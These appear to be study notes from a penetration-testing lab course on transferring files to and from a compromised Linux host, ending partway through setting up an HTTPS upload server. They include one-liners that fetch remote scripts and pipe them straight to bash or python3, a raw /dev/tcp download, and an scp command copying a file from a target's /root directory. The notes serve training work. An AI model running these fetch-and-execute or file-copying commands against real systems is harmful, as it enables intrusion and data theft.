Download Operations

We have access to the machine NIX04, and we need to download a file from our Pwnbox machine. Let's see how we can accomplish this using multiple file download methods.

<aside>

Simple

• Base64 encoding / decoding
• wget
• curl </aside>

Fileless Attacks

<aside>

Note!

Fileless Download with cURL

curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash

Fileless Download with wget

wget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3

</aside>

Download with Bash (/dev/tcp)

<aside>

bash

• exec 3<>/dev/tcp/10.10.10.32/80
• echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3
• cat <&3 </aside>

SSH Downloads

<aside>

• Enabling the SSH Server in attacker machine first
• Starting the SSH Server sudo systemctl start ssh
• Checking for SSH Listening Port netstat -lnpt

Linux - Downloading Files Using SCP

scp [email protected]:/root/myroot.txt .

</aside>

Web Upload

As mentioned in the Windows File Transfer Methods section, we can use uploadserver, an extended module of the Python HTTP.Server module, which includes a file upload page. For this Linux example, let's see how we can configure the uploadserver module to use HTTPS for secure communication.

The first thing we need to do is to install the uploadserver module.

Pwnbox - Start Web Server

0xWALY@htb[/htb]$ sudo python3 -m pip install --user uploadserverCollecting uploadserver
  Using cached uploadserver-2.0.1-py3-none-any.whl (6.9 kB)
Installing collected packages: uploadserver
Successfully installed uploadserver-2.0.1

Now we need to create a certificate. In this example, we are using a self-signed certificate.

Pwnbox - Create a Self-Signed Certificate

0xWALY@htb[/htb]$ openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'Generating a RSA private key
................................................................................+++++
.......+++++
writing new private key to 'server.pem'
-----